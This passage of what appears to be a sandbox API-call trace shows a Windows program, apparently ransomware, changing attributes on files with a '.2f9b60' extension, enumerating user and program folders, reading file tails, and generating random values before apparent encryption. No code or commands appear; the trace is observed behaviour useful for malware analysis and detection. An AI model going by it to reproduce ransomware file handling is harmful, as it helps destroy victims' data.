(hObject=0x172c) returned 1 [0124.210] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\e977c68e8cef4c31e34afd9f06.2f9b60", dwFileAttributes=0x2022) returned 1 [0124.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae5c0) returned 1 Thread: id = 1351 os_tid = 0xa08 [0118.291] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\e822cfb9bdf3dec27b96.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\e822cfb9bdf3dec27b96.2f9b60")) returned 0x2022 [0118.291] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\e822cfb9bdf3dec27b96.2f9b60", dwFileAttributes=0x20) returned 1 [0124.092] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\e822cfb9bdf3dec27b96.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\e822cfb9bdf3dec27b96.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd9c [0124.093] GetFileSizeEx (in: hFile=0xd9c, lpFileSize=0x3d8efcc0 | out: lpFileSize=0x3d8efcc0*=608) returned 1 [0124.093] SetFilePointerEx (in: hFile=0xd9c, liDistanceToMove=0x25c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.093] ReadFile (in: hFile=0xd9c, lpBuffer=0x3d8efc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d8efc88, lpOverlapped=0x0 | out: lpBuffer=0x3d8efc40*, lpNumberOfBytesRead=0x3d8efc88*=0x4, lpOverlapped=0x0) returned 1 [0124.094] FlushFileBuffers (hFile=0xd9c) returned 1 [0124.212] CloseHandle (hObject=0xd9c) returned 1 [0124.212] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\e822cfb9bdf3dec27b96.2f9b60", dwFileAttributes=0x2022) returned 1 [0124.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae530) returned 1 Thread: id = 1352 os_tid = 0xc04 [0118.292] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\e74ec42bb840964a148a07d29f5.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\e74ec42bb840964a148a07d29f5.2f9b60")) returned 0x2022 [0118.293] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\e74ec42bb840964a148a07d29f5.2f9b60", dwFileAttributes=0x20) returned 1 [0124.094] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\e74ec42bb840964a148a07d29f5.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\e74ec42bb840964a148a07d29f5.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdd8 [0124.095] GetFileSizeEx (in: hFile=0xdd8, lpFileSize=0x3d85f780 | out: lpFileSize=0x3d85f780*=664) returned 1 [0124.095] SetFilePointerEx (in: hFile=0xdd8, liDistanceToMove=0x294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.095] ReadFile (in: hFile=0xdd8, lpBuffer=0x3d85f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d85f748, lpOverlapped=0x0 | out: lpBuffer=0x3d85f700*, lpNumberOfBytesRead=0x3d85f748*=0x4, lpOverlapped=0x0) returned 1 [0124.096] FlushFileBuffers (hFile=0xdd8) returned 1 [0124.214] CloseHandle (hObject=0xdd8) returned 1 [0124.214] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\e74ec42bb840964a148a07d29f5.2f9b60", dwFileAttributes=0x2022) returned 1 [0124.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b690) returned 1 Thread: id = 1353 os_tid = 0xd78 [0118.294] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\e73199d5de523075ba589e7dd8fa201.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\e73199d5de523075ba589e7dd8fa201.2f9b60")) returned 0x2022 [0118.294] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\e73199d5de523075ba589e7dd8fa201.2f9b60", dwFileAttributes=0x20) returned 1 [0124.096] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\e73199d5de523075ba589e7dd8fa201.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\e73199d5de523075ba589e7dd8fa201.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd58 [0124.096] GetFileSizeEx (in: hFile=0xd58, lpFileSize=0x3ca9f780 | out: lpFileSize=0x3ca9f780*=696) returned 1 [0124.096] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.097] ReadFile (in: hFile=0xd58, lpBuffer=0x3ca9f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ca9f748, lpOverlapped=0x0 | out: lpBuffer=0x3ca9f700*, lpNumberOfBytesRead=0x3ca9f748*=0x4, lpOverlapped=0x0) returned 1 [0124.098] FlushFileBuffers (hFile=0xd58) returned 1 [0124.216] CloseHandle (hObject=0xd58) returned 1 [0124.216] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\e73199d5de523075ba589e7dd8fa201.2f9b60", dwFileAttributes=0x2022) returned 1 [0124.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b5f0) returned 1 Thread: id = 1354 os_tid = 0xfd0 [0118.295] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\ccb7a32338830bda72b9669b.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\ccb7a32338830bda72b9669b.2f9b60")) returned 0x2022 [0118.296] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\ccb7a32338830bda72b9669b.2f9b60", dwFileAttributes=0x20) returned 1 [0124.098] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\ccb7a32338830bda72b9669b.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\ccb7a32338830bda72b9669b.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1758 [0124.098] GetFileSizeEx (in: hFile=0x1758, lpFileSize=0x3d74fa00 | out: lpFileSize=0x3d74fa00*=640) returned 1 [0124.098] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0x27c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.098] ReadFile (in: hFile=0x1758, lpBuffer=0x3d74f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d74f9c8, lpOverlapped=0x0 | out: lpBuffer=0x3d74f980*, lpNumberOfBytesRead=0x3d74f9c8*=0x4, lpOverlapped=0x0) returned 1 [0124.099] FlushFileBuffers (hFile=0x1758) returned 1 [0124.218] CloseHandle (hObject=0x1758) returned 1 [0124.218] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\ccb7a32338830bda72b9669b.2f9b60", dwFileAttributes=0x2022) returned 1 [0124.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae4a0) returned 1 Thread: id = 1355 os_tid = 0x734 [0118.298] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\c2b54c7469918f78675b.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\c2b54c7469918f78675b.2f9b60")) returned 0x2022 [0118.298] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\c2b54c7469918f78675b.2f9b60", dwFileAttributes=0x20) returned 1 [0124.100] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\c2b54c7469918f78675b.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\c2b54c7469918f78675b.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1074 [0124.100] GetFileSizeEx (in: hFile=0x1074, lpFileSize=0x3d67fb20 | out: lpFileSize=0x3d67fb20*=608) returned 1 [0124.100] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x25c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.100] ReadFile (in: hFile=0x1074, lpBuffer=0x3d67faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d67fae8, lpOverlapped=0x0 | out: lpBuffer=0x3d67faa0*, lpNumberOfBytesRead=0x3d67fae8*=0x4, lpOverlapped=0x0) returned 1 [0124.101] FlushFileBuffers (hFile=0x1074) returned 1 [0124.236] CloseHandle (hObject=0x1074) returned 1 [0124.237] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\c2b54c7469918f78675b.2f9b60", dwFileAttributes=0x2022) returned 1 [0124.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae410) returned 1 Thread: id = 1356 os_tid = 0xf54 [0118.299] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\bba156baecd045babcc82449.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\bba156baecd045babcc82449.2f9b60")) returned 0x2022 [0118.299] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\bba156baecd045babcc82449.2f9b60", dwFileAttributes=0x20) returned 1 [0124.102] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\bba156baecd045babcc82449.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\bba156baecd045babcc82449.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfa8 [0124.102] GetFileSizeEx (in: hFile=0xfa8, lpFileSize=0x3d5af8c0 | out: lpFileSize=0x3d5af8c0*=640) returned 1 [0124.102] SetFilePointerEx (in: hFile=0xfa8, liDistanceToMove=0x27c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.102] ReadFile (in: hFile=0xfa8, lpBuffer=0x3d5af840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d5af888, lpOverlapped=0x0 | out: lpBuffer=0x3d5af840*, lpNumberOfBytesRead=0x3d5af888*=0x4, lpOverlapped=0x0) returned 1 [0124.103] FlushFileBuffers (hFile=0xfa8) returned 1 [0124.238] CloseHandle (hObject=0xfa8) returned 1 [0124.238] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\bba156baecd045babcc82449.2f9b60", dwFileAttributes=0x2022) returned 1 [0124.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae380) returned 1 Thread: id = 1357 os_tid = 0xef8 [0118.300] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\b6200d6110d74c12e612aac.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\b6200d6110d74c12e612aac.2f9b60")) returned 0x2022 [0118.301] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\b6200d6110d74c12e612aac.2f9b60", dwFileAttributes=0x20) returned 1 [0124.104] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\b6200d6110d74c12e612aac.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\b6200d6110d74c12e612aac.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10b4 [0124.104] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x3d4bfc60 | out: lpFileSize=0x3d4bfc60*=632) returned 1 [0124.104] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.104] ReadFile (in: hFile=0x10b4, lpBuffer=0x3d4bfbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d4bfc28, lpOverlapped=0x0 | out: lpBuffer=0x3d4bfbe0*, lpNumberOfBytesRead=0x3d4bfc28*=0x4, lpOverlapped=0x0) returned 1 [0124.105] FlushFileBuffers (hFile=0x10b4) returned 1 [0124.240] CloseHandle (hObject=0x10b4) returned 1 [0124.240] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\b6200d6110d74c12e612aac.2f9b60", dwFileAttributes=0x2022) returned 1 [0124.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae2f0) returned 1 Thread: id = 1358 os_tid = 0xd48 [0118.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b86b9d0 [0118.373] wcscpy (in: _Dest=0x1b86b9d0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033" [0118.373] wcscat (in: _Dest=0x1b86b9d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\" [0118.373] wcscat (in: _Dest=0x1b86b9d0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\*" [0118.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027e060 [0118.373] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\*", lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8587f0 [0118.374] wcscmp (_String1=".", _String2=".") returned 0 [0118.374] FindNextFileW (in: hFindFile=0x1b8587f0, lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.374] wcscmp (_String1="..", _String2=".") returned 1 [0118.375] wcscmp (_String1="..", _String2="..") returned 0 [0118.375] FindNextFileW (in: hFindFile=0x1b8587f0, lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf09b00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf09b00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAClientPkgUI.dll", cAlternateFileName="VSTACL~1.DLL")) returned 1 [0118.375] wcscmp (_String1="VSTAClientPkgUI.dll", _String2=".") returned 1 [0118.375] wcscmp (_String1="VSTAClientPkgUI.dll", _String2="..") returned 1 [0118.375] FindNextFileW (in: hFindFile=0x1b8587f0, lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498e4100, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498e4100, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x7958, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProjectUI.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 1 [0118.375] wcscmp (_String1="VSTAProjectUI.dll", _String2=".") returned 1 [0118.375] wcscmp (_String1="VSTAProjectUI.dll", _String2="..") returned 1 [0118.375] FindNextFileW (in: hFindFile=0x1b8587f0, lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498e4100, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498e4100, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x7958, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProjectUI.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 0 [0118.375] FindClose (in: hFindFile=0x1b8587f0 | out: hFindFile=0x1b8587f0) returned 1 [0118.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027e060) returned 1 [0118.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b9d0) returned 1 [0118.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b9a0) returned 1 Thread: id = 1359 os_tid = 0xd64 [0118.381] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss")) returned 0x20 [0118.382] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", dwFileAttributes=0x20) returned 1 [0118.383] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1720 [0118.383] GetFileSizeEx (in: hFile=0x1720, lpFileSize=0x3d7cfca0 | out: lpFileSize=0x3d7cfca0*=0) returned 1 [0118.383] FlushFileBuffers (hFile=0x1720) returned 1 [0118.385] CloseHandle (hObject=0x1720) returned 1 [0118.385] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", dwFileAttributes=0x20) returned 1 [0118.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7849a0) returned 1 Thread: id = 1360 os_tid = 0xd98 [0118.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b7849a0 [0118.394] wcscpy (in: _Dest=0x1b7849a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private" [0118.394] wcscat (in: _Dest=0x1b7849a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\" [0118.394] wcscat (in: _Dest=0x1b7849a0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*" [0118.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027e060 [0118.394] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8587f0 [0118.396] wcscmp (_String1=".", _String2=".") returned 0 [0118.396] FindNextFileW (in: hFindFile=0x1b8587f0, lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.396] wcscmp (_String1="..", _String2=".") returned 1 [0118.396] wcscmp (_String1="..", _String2="..") returned 0 [0118.396] FindNextFileW (in: hFindFile=0x1b8587f0, lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0118.396] wcscmp (_String1="folder.ico", _String2=".") returned 1 [0118.397] wcscmp (_String1="folder.ico", _String2="..") returned 1 [0118.397] FindNextFileW (in: hFindFile=0x1b8587f0, lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0118.397] FindClose (in: hFindFile=0x1b8587f0 | out: hFindFile=0x1b8587f0) returned 1 [0118.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027e060) returned 1 [0118.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7849a0) returned 1 [0118.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e510) returned 1 Thread: id = 1361 os_tid = 0xc3c [0118.399] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\38bFa3es R2L1x4PRXc.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\38bfa3es r2l1x4prxc.gif")) returned 0x20 [0118.399] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\38bFa3es R2L1x4PRXc.gif", dwFileAttributes=0x20) returned 1 [0118.400] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\38bFa3es R2L1x4PRXc.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\38bfa3es r2l1x4prxc.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1720 [0118.400] GetFileSizeEx (in: hFile=0x1720, lpFileSize=0x3dc1f6e0 | out: lpFileSize=0x3dc1f6e0*=17090) returned 1 [0118.400] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x42be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.400] ReadFile (in: hFile=0x1720, lpBuffer=0x3dc1f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3dc1f6a8, lpOverlapped=0x0 | out: lpBuffer=0x3dc1f660*, lpNumberOfBytesRead=0x3dc1f6a8*=0x4, lpOverlapped=0x0) returned 1 [0118.401] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aae00 [0118.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa740 [0118.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7a0 [0118.401] NtQuerySystemTime (in: CurrentTime=0x3dc1f5a0 | out: CurrentTime=0x3dc1f5a0*=132462177238402000) returned 0x0 [0118.401] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x179d0a24 [0118.401] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x3d414215 [0118.401] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x7f0e2536 [0118.401] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x49b47096 [0118.401] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x56f54938 [0118.401] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x3265db70 [0118.401] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x7aae1b6e [0118.401] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x61cba102 [0118.401] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x1d52461a [0118.401] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x50a9a6db [0118.401] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x3b032b4f [0118.401] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x5142ca15 [0118.401] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x4c31f546 [0118.401] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x4364b440 [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x45ee90ba [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x512a39f5 [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x420dee40 [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x14d18389 [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x6fed57f9 [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x485e828e [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x62db03f6 [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x723cb22b [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 